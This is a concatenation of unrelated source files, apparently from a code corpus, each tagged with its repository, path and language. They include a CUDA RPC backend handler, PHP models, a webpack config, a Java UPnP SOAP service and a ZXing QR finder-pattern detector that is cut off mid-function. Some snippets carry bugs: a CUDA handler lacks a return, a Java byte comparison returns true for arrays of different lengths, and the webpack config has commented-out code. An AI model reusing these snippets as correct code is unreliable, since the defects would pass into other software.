CUDA_ROUTINE_HANDLER(IpcGetEventHandle) { cudaIpcEventHandle_t *handle = input_buffer->Assign<cudaIpcEventHandle_t>(); cudaEvent_t event = input_buffer->Get<cudaEvent_t>(); cudaError_t exit_code = cudaIpcGetEventHandle(handle, event); Buffer *out = new Buffer(); try { out->Add(handle); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); } return new Result(exit_code, out); } CUDA_ROUTINE_HANDLER(ChooseDevice) { int *device = input_buffer->Assign<int>(); const cudaDeviceProp *prop = input_buffer->Assign<cudaDeviceProp>(); cudaError_t exit_code = cudaChooseDevice(device, prop); Buffer *out = new Buffer(); try { out->Add(device); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); } return new Result(exit_code, out); } CUDA_ROUTINE_HANDLER(GetDevice) { try { int *device = input_buffer->Assign<int>(); cudaError_t exit_code = cudaGetDevice(device); Buffer *out = new Buffer(); out->Add(device); return new Result(exit_code, out); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); } } CUDA_ROUTINE_HANDLER(DeviceReset) { cudaError_t exit_code = cudaDeviceReset(); Buffer *out = new Buffer(); return new Result(exit_code, out); } CUDA_ROUTINE_HANDLER(DeviceSynchronize) { cudaError_t exit_code = cudaDeviceSynchronize(); try { Buffer *out = new Buffer(); return new Result(exit_code, out); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); } } CUDA_ROUTINE_HANDLER(GetDeviceCount) { try { int *count = input_buffer->Assign<int>(); cudaError_t exit_code = cudaGetDeviceCount(count); Buffer *out = new Buffer(); out->Add(count); return new Result(exit_code, out); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); } } CUDA_ROUTINE_HANDLER(GetDeviceProperties) { try { struct cudaDeviceProp *prop = input_buffer->Assign<struct cudaDeviceProp>(); int device = input_buffer->Get<int>(); cudaError_t exit_code = cudaGetDeviceProperties(prop, device); #ifndef CUDART_VERSION #error CUDART_VERSION not defined #endif #if CUDART_VERSION >= 2030 prop->canMapHostMemory = 0; #endif Buffer *out = new Buffer(); out->Add(prop, 1); return new Result(exit_code, out); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); } } CUDA_ROUTINE_HANDLER(SetDevice) { try { int device = input_buffer->Get<int>(); cudaError_t exit_code = cudaSetDevice(device); return new Result(exit_code); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); } } #ifndef CUDART_VERSION #error CUDART_VERSION not defined #endif #if CUDART_VERSION >= 2030 CUDA_ROUTINE_HANDLER(SetDeviceFlags) { try { int flags = input_buffer->Get<int>(); cudaError_t exit_code = cudaSetDeviceFlags(flags); return new Result(exit_code); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); } } CUDA_ROUTINE_HANDLER(IpcOpenEventHandle) { Buffer *out = new Buffer(); try { cudaEvent_t *event = input_buffer->Assign<cudaEvent_t>(); cudaIpcEventHandle_t handle = input_buffer->Get<cudaIpcEventHandle_t>(); cudaError_t exit_code = cudaIpcOpenEventHandle(event, handle); out->Add(event); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); } } CUDA_ROUTINE_HANDLER(SetValidDevices) { try { int len = input_buffer->BackGet<int>(); int *device_arr = input_buffer->Assign<int>(len); cudaError_t exit_code = cudaSetValidDevices(device_arr, len); Buffer *out = new Buffer(); out->Add(device_arr, len); return new Result(exit_code, out); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); } } #endif
Donkey-Sand/gvirtus-multiGPU
gvirtus.cudart/backend/CudaRtHandler_device.cpp
C++
gpl-3.0
9,738
# -*- coding: utf8 -*- from yanntricks import * def UQZooGFLNEq(): pspict,fig = SinglePicture("UQZooGFLNEq") pspict.dilatation_X(1) pspict.dilatation_Y(1) mx=-5 Mx=5 x=var('x') f=phyFunction( arctan(x) ).graph(mx,Mx) seg1=Segment( Point(mx,pi/2),Point(Mx,pi/2) ) seg2=Segment( Point(mx,-pi/2),Point(Mx,-pi/2) ) seg1.parameters.color="red" seg2.parameters.color="red" seg1.parameters.style="dashed" seg2.parameters.style="dashed" pspict.DrawGraphs(f,seg1,seg2) pspict.axes.single_axeY.axes_unit=AxesUnit(pi/2,'') pspict.DrawDefaultAxes() fig.no_figure() fig.conclude() fig.write_the_file()
LaurentClaessens/mazhe
src_yanntricks/yanntricksUQZooGFLNEq.py
Python
gpl-3.0
671
'use strict'; module.exports = { minVersion: "5.0.0", currentVersion: "5.2.0", activeDelegates: 101, addressLength: 208, blockHeaderLength: 248, confirmationLength: 77, epochTime: new Date(Date.UTC(2016, 4, 24, 17, 0, 0, 0)), fees:{ send: 10000000, vote: 100000000, secondsignature: 500000000, delegate: 6000000000, multisignature: 500000000, dapp: 2500000000 }, feeStart: 1, feeStartVolume: 10000 * 100000000, fixedPoint : Math.pow(10, 8), forgingTimeOut: 500, // 50 blocks maxAddressesLength: 208 * 128, maxAmount: 100000000, maxClientConnections: 100, maxConfirmations : 77 * 100, maxPayloadLength: 1024 * 1024, maxRequests: 10000 * 12, maxSignaturesLength: 196 * 256, maxTxsPerBlock: 25, numberLength: 100000000, requestLength: 104, rewards: { milestones: [ 100000000, // Initial reward 70000000, // Milestone 1 50000000, // Milestone 2 30000000, // Milestone 3 20000000 // Milestone 4 ], offset: 10, // Start rewards at block (n) distance: 3000000, // Distance between each milestone }, signatureLength: 196, totalAmount: 1009000000000000, unconfirmedTransactionTimeOut: 10800 // 1080 blocks };
shiftcurrency/shift
helpers/constants.js
JavaScript
gpl-3.0
1,217
<?php /** * @package GPL Cart core * @author Iurii Makukh <gplcart.software@gmail.com> * @copyright Copyright (c) 2015, Iurii Makukh * @license https://www.gnu.org/licenses/gpl.html GNU/GPLv3 */ namespace gplcart\core\models; use gplcart\core\Hook; use gplcart\core\models\Translation as TranslationModel; /** * Manages basic behaviors and data related to payment methods */ class Payment { /** * Hook class instance * @var \gplcart\core\Hook $hook */ protected $hook; /** * Translation UI model instance * @var \gplcart\core\models\Translation $translation */ protected $translation; /** * @param Hook $hook * @param Translation $translation */ public function __construct(Hook $hook, TranslationModel $translation) { $this->hook = $hook; $this->translation = $translation; } /** * Returns an array of payment methods * @param array $options * @return array */ public function getList(array $options = array()) { $methods = &gplcart_static(gplcart_array_hash(array('payment.methods' => $options))); if (isset($methods)) { return $methods; } $methods = $this->getDefaultList(); $this->hook->attach('payment.methods', $methods, $this); $weights = array(); foreach ($methods as $id => &$method) { $method['id'] = $id; if (!isset($method['weight'])) { $method['weight'] = 0; } if (!empty($options['status']) && empty($method['status'])) { unset($methods[$id]); continue; } if (!empty($options['module']) && (empty($method['module']) || !in_array($method['module'], (array) $options['module']))) { unset($methods[$id]); continue; } $weights[] = $method['weight']; } if (empty($methods)) { return array(); } // Sort by weight then by key array_multisort($weights, SORT_ASC, array_keys($methods), SORT_ASC, $methods); return $methods; } /** * Returns a payment method * @param string $method_id * @return array */ public function get($method_id) { $methods = $this->getList(); return empty($methods[$method_id]) ? array() : $methods[$method_id]; } /** * Returns an array of default payment methods * @return array */ protected function getDefaultList() { return array( 'cod' => array( 'title' => $this->translation->text('Cash on delivery'), 'description' => $this->translation->text('Payment for an order is made at the time of delivery'), 'template' => array('complete' => ''), 'image' => '', 'module' => 'core', 'status' => true, 'weight' => 0 ) ); } }
gplcart/gplcart
system/core/models/Payment.php
PHP
gpl-3.0
3,062
package testutils; import java.util.Random; public class TestHelper { public static byte[] getTestData(int size) { byte[] bytes = new byte[size]; new Random().nextBytes(bytes); return bytes; } public static boolean compareBytes(byte[] x, byte[] y) { if (x.length != y.length) return true; int delta = 0; for(int i = 0; i < x.length; i++) delta |= x[i] ^ y[i]; return delta == 0; } }
dylsmith8/JavaIPC
Windows Implementation/JavaIPC/javawinipc/testprograms/testutils/TestHelper.java
Java
gpl-3.0
533
const path = require('path'); const webpack = require('webpack'); var HtmlWebpackPlugin = require('html-webpack-plugin'); var ScriptExtHtmlWebpackPlugin = require('script-ext-html-webpack-plugin'); var CopyWebpackPlugin = require('copy-webpack-plugin'); module.exports = { // 页面入口文件配置 entry: { app: [ path.normalize(process.argv[process.argv.length // - 1]) // 默认规则,最后一个参数是entry ] }, 入口文件输出配置 output: { //publicPath: '/dist', path: __dirname + '/www/dist/', filename: '[name].[chunkhash:5].js' }, module: { //加载器配置 rules: [ { test: /\.js|\.jsx$/, // exclude: // /node_modules[\\|\/](?!react-native|@shoutem\\theme|@remobile\\react-native)/, loader: 'babel-loader', options: { //retainLines: true, 'compact':false, 'presets': [ 'react', 'es2015', 'es2017', 'stage-0', 'stage-1', // 'stage-2', 'stage-3' ], 'plugins': [//'transform-runtime', 'transform-decorators-legacy'] }, include: path.resolve(__dirname, (process.cwd() !== path.dirname(__dirname) ? '../../' : '') + "../node_modules") }, { test: /\.ttf$/, loader: "url-loader", // or directly file-loader include: path.resolve(__dirname, (process.cwd() !== path.dirname(__dirname) ? '../../' : '') + "../node_modules/react-native-vector-icons") } ] }, //其它解决方案配置 resolve: { extensions: [ '', '.web.js', '.js' ], alias: { 'react-native': 'react-native-web' } }, plugins: [ new CopyWebpackPlugin([ { from: path.join(__dirname, (process.cwd() !== path.dirname(__dirname) ? '../../' : '') + '../node_modules/babel-polyfill/dist/polyfill.min.js'), to: path.join(__dirname, 'www', 'dist') }, { from: path.join(__dirname, 'viewport.js'), to: path.join(__dirname, 'www', 'dist', 'viewport.min.js') }]), new HtmlWebpackPlugin({ template: __dirname + '/index.temp.html', filename: __dirname + '/www/index.html', minify: { removeComments: true, collapseWhitespace: true, collapseInlineTagWhitespace: true, //conservativeCollapse: true, preserveLineBreaks: true, minifyCSS: true, removeScriptTypeAttributes: true, removeStyleLinkTypeAttributes: true } }), new ScriptExtHtmlWebpackPlugin({defaultAttribute: 'async'}), // new webpack.optimize.DedupePlugin(), new ChunkModuleIDPlugin(), new // webpack.NoErrorsPlugin(), new webpack.DefinePlugin({'__DEV__': false, 'process.env.NODE_ENV': '"production"'}), // new webpack.ProvidePlugin({ '__DEV__': false }), new webpack.SourceMapDevToolPlugin({ test: [ /\.js$/, /\.jsx$/ ], exclude: 'vendor', filename: "[name].[hash:5].js.map", append: "//# sourceMappingURL=[url]", moduleFilenameTemplate: '[resource-path]', fallbackModuleFilenameTemplate: '[resource-path]' }), new webpack.optimize.UglifyJsPlugin({ compress: { //supresses warnings, usually from module minification warnings: false }, //sourceMap: true, mangle: true }) ] };
saas-plat/saas-plat-native
web/webpack.config.js
JavaScript
gpl-3.0
3,434
package org.saintandreas.serket.scpd; import java.io.IOException; import javax.servlet.ServletException; import javax.xml.namespace.QName; import javax.xml.soap.SOAPBodyElement; import javax.xml.soap.SOAPException; import javax.xml.soap.SOAPMessage; import org.saintandreas.serket.service.BaseService; import org.saintandreas.util.SOAPSerializable; import org.saintandreas.util.XmlUtil; import org.w3c.dom.Element; public abstract class ConnectionManager2 extends BaseService { public final static String URI = "urn:schemas-upnp-org:service:ConnectionManager:2"; public ConnectionManager2(String id, String controlURL, String eventURL) { super(id, controlURL, eventURL); } public String getURI() { return URI; } public abstract ConnectionManager2 .GetProtocolInfoResponse getProtocolInfo(ConnectionManager2 .GetProtocolInfoRequest input) throws IOException, ServletException ; public abstract ConnectionManager2 .PrepareForConnectionResponse prepareForConnection(ConnectionManager2 .PrepareForConnectionRequest input) throws IOException, ServletException ; public abstract ConnectionManager2 .ConnectionCompleteResponse connectionComplete(ConnectionManager2 .ConnectionCompleteRequest input) throws IOException, ServletException ; public abstract ConnectionManager2 .GetCurrentConnectionIDsResponse getCurrentConnectionIDs(ConnectionManager2 .GetCurrentConnectionIDsRequest input) throws IOException, ServletException ; public abstract ConnectionManager2 .GetCurrentConnectionInfoResponse getCurrentConnectionInfo(ConnectionManager2 .GetCurrentConnectionInfoRequest input) throws IOException, ServletException ; public static class ConnectionCompleteRequest extends SOAPSerializable { public int connectionID; public void parse(SOAPMessage soapMessage) throws SOAPException { for (Element e: XmlUtil.getChildElements(XmlUtil.getChildElements(soapMessage.getSOAPBody()).get(0))) { String name = e.getNodeName(); if ("ConnectionID".equals(name)) { connectionID = Integer.valueOf(e.getTextContent()); continue; } } } public SOAPMessage format() throws SOAPException { SOAPMessage retVal = ConnectionManager2 .ConnectionCompleteRequest.createMessage(); SOAPBodyElement soapBodyElement = retVal.getSOAPBody().addBodyElement(new QName(URI, "ConnectionCompleteRequest", "u")); soapBodyElement.addChildElement("ConnectionID").setTextContent(Integer.toString(connectionID)); return retVal; } } public static class ConnectionCompleteResponse extends SOAPSerializable { public void parse(SOAPMessage soapMessage) { } public SOAPMessage format() throws SOAPException { SOAPMessage retVal = ConnectionManager2 .ConnectionCompleteResponse.createMessage(); retVal.getSOAPBody().addBodyElement(new QName(URI, "ConnectionCompleteResponse", "u")); return retVal; } } public enum ConnectionStatus { OK, ContentFormatMismatch, InsufficientBandwidth, UnreliableChannel, Unknown; } public enum Direction { Input, Output; } public static class GetCurrentConnectionIDsRequest extends SOAPSerializable { public void parse(SOAPMessage soapMessage) { } public SOAPMessage format() throws SOAPException { SOAPMessage retVal = ConnectionManager2 .GetCurrentConnectionIDsRequest.createMessage(); retVal.getSOAPBody().addBodyElement(new QName(URI, "GetCurrentConnectionIDsRequest", "u")); return retVal; } } public static class GetCurrentConnectionIDsResponse extends SOAPSerializable { public String connectionIDs; public void parse(SOAPMessage soapMessage) throws SOAPException { for (Element e: XmlUtil.getChildElements(XmlUtil.getChildElements(soapMessage.getSOAPBody()).get(0))) { String name = e.getNodeName(); if ("ConnectionIDs".equals(name)) { connectionIDs = e.getTextContent(); continue; } } } public SOAPMessage format() throws SOAPException { SOAPMessage retVal = ConnectionManager2 .GetCurrentConnectionIDsResponse.createMessage(); SOAPBodyElement soapBodyElement = retVal.getSOAPBody().addBodyElement(new QName(URI, "GetCurrentConnectionIDsResponse", "u")); soapBodyElement.addChildElement("ConnectionIDs").setTextContent(connectionIDs.toString()); return retVal; } } public static class GetCurrentConnectionInfoRequest extends SOAPSerializable { public int connectionID; public void parse(SOAPMessage soapMessage) throws SOAPException { for (Element e: XmlUtil.getChildElements(XmlUtil.getChildElements(soapMessage.getSOAPBody()).get(0))) { String name = e.getNodeName(); if ("ConnectionID".equals(name)) { connectionID = Integer.valueOf(e.getTextContent()); continue; } } } public SOAPMessage format() throws SOAPException { SOAPMessage retVal = ConnectionManager2 .GetCurrentConnectionInfoRequest.createMessage(); SOAPBodyElement soapBodyElement = retVal.getSOAPBody().addBodyElement(new QName(URI, "GetCurrentConnectionInfoRequest", "u")); soapBodyElement.addChildElement("ConnectionID").setTextContent(Integer.toString(connectionID)); return retVal; } } public static class GetCurrentConnectionInfoResponse extends SOAPSerializable { public int rcsID; public int aVTransportID; public String protocolInfo; public String peerConnectionManager; public int peerConnectionID; public org.saintandreas.serket.scpd.ConnectionManager2.Direction direction; public ConnectionManager2 .ConnectionStatus status; public void parse(SOAPMessage soapMessage) throws SOAPException { for (Element e: XmlUtil.getChildElements(XmlUtil.getChildElements(soapMessage.getSOAPBody()).get(0))) { String name = e.getNodeName(); if ("RcsID".equals(name)) { rcsID = Integer.valueOf(e.getTextContent()); continue; } if ("AVTransportID".equals(name)) { aVTransportID = Integer.valueOf(e.getTextContent()); continue; } if ("ProtocolInfo".equals(name)) { protocolInfo = e.getTextContent(); continue; } if ("PeerConnectionManager".equals(name)) { peerConnectionManager = e.getTextContent(); continue; } if ("PeerConnectionID".equals(name)) { peerConnectionID = Integer.valueOf(e.getTextContent()); continue; } if ("Direction".equals(name)) { direction = org.saintandreas.serket.scpd.ConnectionManager2.Direction.valueOf(e.getTextContent()); continue; } if ("Status".equals(name)) { status = ConnectionManager2 .ConnectionStatus.valueOf(e.getTextContent()); continue; } } } public SOAPMessage format() throws SOAPException { SOAPMessage retVal = ConnectionManager2 .GetCurrentConnectionInfoResponse.createMessage(); SOAPBodyElement soapBodyElement = retVal.getSOAPBody().addBodyElement(new QName(URI, "GetCurrentConnectionInfoResponse", "u")); soapBodyElement.addChildElement("RcsID").setTextContent(Integer.toString(rcsID)); soapBodyElement.addChildElement("AVTransportID").setTextContent(Integer.toString(aVTransportID)); soapBodyElement.addChildElement("ProtocolInfo").setTextContent(protocolInfo.toString()); soapBodyElement.addChildElement("PeerConnectionManager").setTextContent(peerConnectionManager.toString()); soapBodyElement.addChildElement("PeerConnectionID").setTextContent(Integer.toString(peerConnectionID)); soapBodyElement.addChildElement("Direction").setTextContent(direction.toString()); soapBodyElement.addChildElement("Status").setTextContent(status.toString()); return retVal; } } public static class GetProtocolInfoRequest extends SOAPSerializable { public void parse(SOAPMessage soapMessage) { } public SOAPMessage format() throws SOAPException { SOAPMessage retVal = ConnectionManager2 .GetProtocolInfoRequest.createMessage(); retVal.getSOAPBody().addBodyElement(new QName(URI, "GetProtocolInfoRequest", "u")); return retVal; } } public static class GetProtocolInfoResponse extends SOAPSerializable { public String source; public String sink; public void parse(SOAPMessage soapMessage) throws SOAPException { for (Element e: XmlUtil.getChildElements(XmlUtil.getChildElements(soapMessage.getSOAPBody()).get(0))) { String name = e.getNodeName(); if ("Source".equals(name)) { source = e.getTextContent(); continue; } if ("Sink".equals(name)) { sink = e.getTextContent(); continue; } } } public SOAPMessage format() throws SOAPException { SOAPMessage retVal = ConnectionManager2 .GetProtocolInfoResponse.createMessage(); SOAPBodyElement soapBodyElement = retVal.getSOAPBody().addBodyElement(new QName(URI, "GetProtocolInfoResponse", "u")); soapBodyElement.addChildElement("Source").setTextContent(source.toString()); soapBodyElement.addChildElement("Sink").setTextContent(sink.toString()); return retVal; } } public static class PrepareForConnectionRequest extends SOAPSerializable { public String remoteProtocolInfo; public String peerConnectionManager; public int peerConnectionID; public ConnectionManager2 .Direction direction; public void parse(SOAPMessage soapMessage) throws SOAPException { for (Element e: XmlUtil.getChildElements(XmlUtil.getChildElements(soapMessage.getSOAPBody()).get(0))) { String name = e.getNodeName(); if ("RemoteProtocolInfo".equals(name)) { remoteProtocolInfo = e.getTextContent(); continue; } if ("PeerConnectionManager".equals(name)) { peerConnectionManager = e.getTextContent(); continue; } if ("PeerConnectionID".equals(name)) { peerConnectionID = Integer.valueOf(e.getTextContent()); continue; } if ("Direction".equals(name)) { direction = ConnectionManager2 .Direction.valueOf(e.getTextContent()); continue; } } } public SOAPMessage format() throws SOAPException { SOAPMessage retVal = ConnectionManager2 .PrepareForConnectionRequest.createMessage(); SOAPBodyElement soapBodyElement = retVal.getSOAPBody().addBodyElement(new QName(URI, "PrepareForConnectionRequest", "u")); soapBodyElement.addChildElement("RemoteProtocolInfo").setTextContent(remoteProtocolInfo.toString()); soapBodyElement.addChildElement("PeerConnectionManager").setTextContent(peerConnectionManager.toString()); soapBodyElement.addChildElement("PeerConnectionID").setTextContent(Integer.toString(peerConnectionID)); soapBodyElement.addChildElement("Direction").setTextContent(direction.toString()); return retVal; } } public static class PrepareForConnectionResponse extends SOAPSerializable { public int connectionID; public int aVTransportID; public int rcsID; public void parse(SOAPMessage soapMessage) throws SOAPException { for (Element e: XmlUtil.getChildElements(XmlUtil.getChildElements(soapMessage.getSOAPBody()).get(0))) { String name = e.getNodeName(); if ("ConnectionID".equals(name)) { connectionID = Integer.valueOf(e.getTextContent()); continue; } if ("AVTransportID".equals(name)) { aVTransportID = Integer.valueOf(e.getTextContent()); continue; } if ("RcsID".equals(name)) { rcsID = Integer.valueOf(e.getTextContent()); continue; } } } public SOAPMessage format() throws SOAPException { SOAPMessage retVal = ConnectionManager2 .PrepareForConnectionResponse.createMessage(); SOAPBodyElement soapBodyElement = retVal.getSOAPBody().addBodyElement(new QName(URI, "PrepareForConnectionResponse", "u")); soapBodyElement.addChildElement("ConnectionID").setTextContent(Integer.toString(connectionID)); soapBodyElement.addChildElement("AVTransportID").setTextContent(Integer.toString(aVTransportID)); soapBodyElement.addChildElement("RcsID").setTextContent(Integer.toString(rcsID)); return retVal; } } }
jherico/serket
serket-scpd/src/main/java/org/saintandreas/serket/scpd/ConnectionManager2.java
Java
gpl-3.0
14,975
<?php /** *@package pXP *@file gen-MODGrupoEp.php *@author (admin) *@date 22-04-2013 14:49:40 *@description Clase que envia los parametros requeridos a la Base de datos para la ejecucion de las funciones, y que recibe la respuesta del resultado de la ejecucion de las mismas */ class MODGrupoEp extends MODbase{ function __construct(CTParametro $pParam){ parent::__construct($pParam); } function listarGrupoEp(){ //Definicion de variables para ejecucion del procedimientp $this->procedimiento='param.ft_grupo_ep_sel'; $this->transaccion='PM_GQP_SEL'; $this->tipo_procedimiento='SEL';//tipo de transaccion //Definicion de la lista del resultado del query $this->captura('id_grupo_ep','int4'); $this->captura('estado_reg','varchar'); $this->captura('id_grupo','int4'); $this->captura('id_ep','int4'); $this->captura('fecha_reg','timestamp'); $this->captura('id_usuario_reg','int4'); $this->captura('fecha_mod','timestamp'); $this->captura('id_usuario_mod','int4'); $this->captura('usr_reg','varchar'); $this->captura('usr_mod','varchar'); $this->captura('ep','text'); $this->captura('id_uo','int4'); $this->captura('desc_uo','text'); $this->captura('estado_reg_uo','varchar'); //Ejecuta la instruccion $this->armarConsulta(); $this->ejecutarConsulta(); //Devuelve la respuesta return $this->respuesta; } function insertarGrupoEp(){ //Definicion de variables para ejecucion del procedimiento $this->procedimiento='param.ft_grupo_ep_ime'; $this->transaccion='PM_GQP_INS'; $this->tipo_procedimiento='IME'; //Define los parametros para la funcion $this->setParametro('estado_reg','estado_reg','varchar'); $this->setParametro('id_grupo','id_grupo','int4'); $this->setParametro('id_ep','id_ep','int4'); $this->setParametro('id_uo','id_uo','int4'); //Ejecuta la instruccion $this->armarConsulta(); $this->ejecutarConsulta(); //Devuelve la respuesta return $this->respuesta; } function modificarGrupoEp(){ //Definicion de variables para ejecucion del procedimiento $this->procedimiento='param.ft_grupo_ep_ime'; $this->transaccion='PM_GQP_MOD'; $this->tipo_procedimiento='IME'; //Define los parametros para la funcion $this->setParametro('id_grupo_ep','id_grupo_ep','int4'); $this->setParametro('estado_reg','estado_reg','varchar'); $this->setParametro('id_grupo','id_grupo','int4'); $this->setParametro('id_ep','id_ep','int4'); $this->setParametro('id_uo','id_uo','int4'); //Ejecuta la instruccion $this->armarConsulta(); $this->ejecutarConsulta(); //Devuelve la respuesta return $this->respuesta; } function eliminarGrupoEp(){ //Definicion de variables para ejecucion del procedimiento $this->procedimiento='param.ft_grupo_ep_ime'; $this->transaccion='PM_GQP_ELI'; $this->tipo_procedimiento='IME'; //Define los parametros para la funcion $this->setParametro('id_grupo_ep','id_grupo_ep','int4'); //Ejecuta la instruccion $this->armarConsulta(); $this->ejecutarConsulta(); //Devuelve la respuesta return $this->respuesta; } function sincUoEp(){ //Definicion de variables para ejecucion del procedimiento $this->procedimiento='param.ft_grupo_ep_ime'; $this->transaccion='PM_SINCGREPUO_IME'; $this->tipo_procedimiento='IME'; //Define los parametros para la funcion $this->setParametro('config','config','varchar'); $this->setParametro('id_grupo','id_grupo','int4'); //Ejecuta la instruccion $this->armarConsulta(); $this->ejecutarConsulta(); //Devuelve la respuesta return $this->respuesta; } } ?>
boabo/pxp
sis_parametros/modelo/MODGrupoEp.php
PHP
gpl-3.0
3,739
<?php /** * Translation Manager for Android Apps * * PHP version 7 * * @category PHP * @package TranslationManagerForAndroidApps * @author Andrej Sinicyn <rarogit@gmail.com> * @copyright 2017 Andrej Sinicyn * @license https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3 or later * @link https://github.com/rarog/TranslationManagerForAndroidApps */ /** * List of enabled modules for this application. * * This should be an array of module namespaces used in the application. */ return [ 'Zend\Navigation', 'Zend\Mvc\Plugin\FlashMessenger', 'Zend\Mvc\Plugin\Prg', 'Zend\Serializer', 'Zend\InputFilter', 'Zend\Filter', 'Zend\Hydrator', 'Zend\I18n', 'Zend\Session', 'Zend\Mvc\I18n', 'Zend\Log', 'Zend\Form', 'Zend\Db', 'Zend\Cache', 'Zend\Router', 'Zend\Validator', 'ConfigHelper', 'TwbBundle', 'ZfcUser', 'Setup', 'Common', 'Translations', 'Application', 'ZfcRbac', 'UserRbac', ];
rarog/TranslationManagerForAndroidApps
config/modules.config.php
PHP
gpl-3.0
1,034
// -*- mode:c++; tab-width:2; indent-tabs-mode:nil; c-basic-offset:2 -*- /* * FinderPatternFinder.cpp * zxing * * Created by Christian Brunschen on 13/05/2008. * Copyright 2008 ZXing authors All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <algorithm> #include <zxing/qrcode/detector/FinderPatternFinder.h> #include <zxing/ReaderException.h> #include <zxing/DecodeHints.h> #include <cstring> using std::sort; using std::max; using std::abs; using std::vector; using zxing::Ref; using zxing::qrcode::FinderPatternFinder; using zxing::qrcode::FinderPattern; using zxing::qrcode::FinderPatternInfo; // VC++ using zxing::BitMatrix; using zxing::ResultPointCallback; using zxing::ResultPoint; using zxing::DecodeHints; namespace { class FurthestFromAverageComparator { private: const float averageModuleSize_; public: FurthestFromAverageComparator(float averageModuleSize) : averageModuleSize_(averageModuleSize) { } bool operator()(Ref<FinderPattern> a, Ref<FinderPattern> b) { float dA = abs(a->getEstimatedModuleSize() - averageModuleSize_); float dB = abs(b->getEstimatedModuleSize() - averageModuleSize_); return dA > dB; } }; class CenterComparator { const float averageModuleSize_; public: CenterComparator(float averageModuleSize) : averageModuleSize_(averageModuleSize) { } bool operator()(Ref<FinderPattern> a, Ref<FinderPattern> b) { // N.B.: we want the result in descending order ... if (a->getCount() != b->getCount()) { return a->getCount() > b->getCount(); } else { float dA = abs(a->getEstimatedModuleSize() - averageModuleSize_); float dB = abs(b->getEstimatedModuleSize() - averageModuleSize_); return dA < dB; } } }; } int FinderPatternFinder::CENTER_QUORUM = 2; int FinderPatternFinder::MIN_SKIP = 3; int FinderPatternFinder::MAX_MODULES = 57; float FinderPatternFinder::centerFromEnd(int* stateCount, int end) { return (float)(end - stateCount[4] - stateCount[3]) - stateCount[2] / 2.0f; } bool FinderPatternFinder::foundPatternCross(int* stateCount) { int totalModuleSize = 0; for (int i = 0; i < 5; i++) { if (stateCount[i] == 0) { return false; } totalModuleSize += stateCount[i]; } if (totalModuleSize < 7) { return false; } float moduleSize = (float)totalModuleSize / 7.0f; float maxVariance = moduleSize / 2.0f; // Allow less than 50% variance from 1-1-3-1-1 proportions return abs(moduleSize - stateCount[0]) < maxVariance && abs(moduleSize - stateCount[1]) < maxVariance && abs(3.0f * moduleSize - stateCount[2]) < 3.0f * maxVariance && abs(moduleSize - stateCount[3]) < maxVariance && abs( moduleSize - stateCount[4]) < maxVariance; } float FinderPatternFinder::crossCheckVertical(size_t startI, size_t centerJ, int maxCount, int originalStateCountTotal) { int maxI = image_->getHeight(); int stateCount[5] = {0}; // for (int i = 0; i < 5; i++) // stateCount[i] = 0; // Start counting up from center int i = startI; while (i >= 0 && image_->get(centerJ, i)) { stateCount[2]++; i--; } if (i < 0) { return nan(); } while (i >= 0 && !image_->get(centerJ, i) && stateCount[1] <= maxCount) { stateCount[1]++; i--; } // If already too many modules in this state or ran off the edge: if (i < 0 || stateCount[1] > maxCount) { return nan(); } while (i >= 0 && image_->get(centerJ, i) && stateCount[0] <= maxCount) { stateCount[0]++; i--; } if (stateCount[0] > maxCount) { return nan(); } // Now also count down from center i = startI + 1; while (i < maxI && image_->get(centerJ, i)) { stateCount[2]++; i++; } if (i == maxI) { return nan(); } while (i < maxI && !image_->get(centerJ, i) && stateCount[3] < maxCount) { stateCount[3]++; i++; } if (i == maxI || stateCount[3] >= maxCount) { return nan(); } while (i < maxI && image_->get(centerJ, i) && stateCount[4] < maxCount) { stateCount[4]++; i++; } if (stateCount[4] >= maxCount) { return nan(); } // If we found a finder-pattern-like section, but its size is more than 40% different than // the original, assume it's a false positive int stateCountTotal = stateCount[0] + stateCount[1] + stateCount[2] + stateCount[3] + stateCount[4]; if (5 * abs(stateCountTotal - originalStateCountTotal) >= 2 * originalStateCountTotal) { return nan(); } return foundPatternCross(stateCount) ? centerFromEnd(stateCount, i) : nan(); } float FinderPatternFinder::crossCheckHorizontal(size_t startJ, size_t centerI, int maxCount, int originalStateCountTotal) { int maxJ = image_->getWidth(); int stateCount[5] = {0}; // for (int i = 0; i < 5; i++) // stateCount[i] = 0; int j = startJ; while (j >= 0 && image_->get(j, centerI)) { stateCount[2]++; j--; } if (j < 0) { return nan(); } while (j >= 0 && !image_->get(j, centerI) && stateCount[1] <= maxCount) { stateCount[1]++; j--; } if (j < 0 || stateCount[1] > maxCount) { return nan(); } while (j >= 0 && image_->get(j, centerI) && stateCount[0] <= maxCount) { stateCount[0]++; j--; } if (stateCount[0] > maxCount) { return nan(); } j = startJ + 1; while (j < maxJ && image_->get(j, centerI)) { stateCount[2]++; j++; } if (j == maxJ) { return nan(); } while (j < maxJ && !image_->get(j, centerI) && stateCount[3] < maxCount) { stateCount[3]++; j++; } if (j == maxJ || stateCount[3] >= maxCount) { return nan(); } while (j < maxJ && image_->get(j, centerI) && stateCount[4] < maxCount) { stateCount[4]++; j++; } if (stateCount[4] >= maxCount) { return nan(); } // If we found a finder-pattern-like section, but its size is significantly different than // the original, assume it's a false positive int stateCountTotal = stateCount[0] + stateCount[1] + stateCount[2] + stateCount[3] + stateCount[4]; if (5 * abs(stateCountTotal - originalStateCountTotal) >= originalStateCountTotal) { return nan(); } return foundPatternCross(stateCount) ? centerFromEnd(stateCount, j) : nan(); } bool 